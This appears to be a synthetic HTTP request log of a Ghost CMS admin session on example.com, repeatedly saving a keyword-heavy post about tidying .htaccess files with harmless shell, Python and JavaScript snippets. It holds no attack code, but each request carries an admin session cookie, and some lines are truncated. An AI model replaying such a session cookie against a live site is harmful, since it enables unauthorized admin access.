{"method": "GET", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8008", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/assets/posts-route-h3vCXYi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/posts-list-screen-DaiQl198.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/container-D71ORA1Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/hover-card-Cnz0ewmR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filters-BcpL-PeQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filter-bar-D1e2wPCO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-reveal-on-mount-BnFofzIX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-email-sending-status-CbZSbPwi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-sending-eta-ifdScs48.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/nql-BKk2g5D7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/nql-lang-BhvCNMUQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45710d281b00001a598a4\"]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/themes/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 508", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpp0PMguEumdZ1a8", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"feature.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAHgAAABQCAIAAABd+SbeAAAAqElEQVR4nO3QAQkAIADAMOOYycTGsoXCHTzA2dhr6kLj+cEngQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnSrAwedWdHCzExoAAAAAElFTkSuQmCC\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8--\r\n"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8057", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/content/images/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27PowerShell%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8088", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use 